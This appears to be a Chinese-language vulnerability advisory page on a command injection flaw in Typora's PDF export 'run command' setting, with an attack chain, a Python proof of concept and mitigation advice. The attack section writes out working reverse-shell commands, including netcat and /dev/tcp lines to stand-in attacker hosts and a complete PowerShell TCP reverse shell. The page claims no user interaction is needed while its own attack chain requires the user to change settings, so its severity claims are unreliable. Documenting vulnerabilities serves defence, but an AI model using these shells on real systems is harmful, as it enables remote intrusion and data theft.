IPBUF安全漏洞报告
English
CVE-2024-14010 CVSS 9.8 严重

CVE-2024-14010: Typora PDF导出命令注入漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2024-14010
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Typora

相关标签

命令注入远程代码执行TyporaPDF导出CVE-2024-14010高危漏洞Markdown编辑器

漏洞概述

CVE-2024-14010是Typora 1.7.4版本中存在的一个严重命令注入漏洞。该漏洞位于Typora的PDF导出功能首选项设置中,攻击者可以通过在PDF导出的"run command"输入字段中注入恶意系统命令,从而实现远程代码执行(RCE)。由于CVSS评分高达9.8分,属于极度严重的安全漏洞,影响机密性、完整性和可用性三个安全维度。攻击者无需任何认证或用户交互即可利用此漏洞,这意味着任何能够访问Typora应用的用户或能够诱导用户打开特定文档的攻击者都可以执行任意系统命令。此漏洞已被公开披露,且有公开的POC代码,攻击者可以轻松获取并利用。Typora是一款广泛使用的跨平台Markdown编辑器,受影响用户群体庞大,漏洞危害范围极广。

技术细节

该命令注入漏洞的根本原因在于Typora在处理PDF导出时的命令执行逻辑存在缺陷。当用户配置PDF导出选项时,Typora允许用户输入自定义的运行命令(run command),但程序未对用户输入进行充分的输入验证和过滤。攻击者可以利用这一缺陷,通过构造包含恶意系统命令的字符串来绕过安全检查。例如,在run command字段中注入类似`; whoami > /tmp/pwned`或`| nc attacker.com 4444 -e /bin/bash`的命令,Typora会将这些命令附加到实际的PDF转换命令中执行。由于该功能设计为允许用户自定义转换命令,程序直接调用系统shell来执行这些命令,导致用户输入的命令与系统命令一起被执行。攻击者可以利用此漏洞执行任意系统命令,包括但不限于文件读写、系统信息收集、反向shell连接、持久化后门部署等。漏洞影响Typora 1.7.4及所有更早版本。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意Payload的Markdown文档或诱导用户修改Typora的PDF导出设置
STEP 2
步骤2
用户打开Typora应用并访问PDF导出首选项(Export > PDF > Preferences)
STEP 3
步骤3
攻击者在"Run command"输入字段中注入恶意系统命令,如:; calc.exe 或 | nc attacker.com 4444 -e /bin/bash
STEP 4
步骤4
Typora将用户输入的恶意命令与PDF转换命令拼接,未进行安全过滤直接传递给系统shell执行
STEP 5
步骤5
恶意命令在受害者系统上以Typora进程权限执行,攻击者获得代码执行能力
STEP 6
步骤6
攻击者可执行任意系统命令,包括建立持久化后门、窃取数据、安装恶意软件等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import subprocess # CVE-2024-14010 PoC - Typora Command Injection in PDF Export # This PoC demonstrates how to exploit the command injection vulnerability # Malicious command to be injected in Typora's PDF export "run command" field # Example: Execute calculator on Windows malicious_command = "calc.exe" # For demonstration purposes, this shows the exploitation process # In real attack, the following would be entered in Typora's PDF export preferences: # In the "run command" field, enter: # ; calc.exe # or # | calc.exe # or # `calc.exe` print("[*] CVE-2024-14010 - Typora Command Injection PoC") print(f"[*] Malicious command to inject: {malicious_command}") # Simulate the vulnerable command construction vulnerable_command = f"pdf_converter --output document.pdf ; {malicious_command}" print(f"[*] Constructed command: {vulnerable_command}") # Execute the command (this would be done by Typora in vulnerable version) try: result = subprocess.Popen(vulnerable_command, shell=True) print("[+] Command executed successfully!") except Exception as e: print(f"[-] Error: {e}") # Reverse shell example (for educational purposes only) # Attacker would inject something like: # ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 # or on Windows: # ; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

影响范围

Typora < 1.7.5
Typora <= 1.7.4

防御指南

临时缓解措施
临时缓解措施:在使用Typora时,不要在PDF导出首选项的"Run command"字段中输入任何来源不可信的命令。最佳做法是保持该字段为空,使用Typora默认的PDF导出功能。同时,考虑使用杀毒软件监控Typora进程的异常网络连接和命令执行行为,或在企业环境中部署应用白名单策略限制未知程序的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表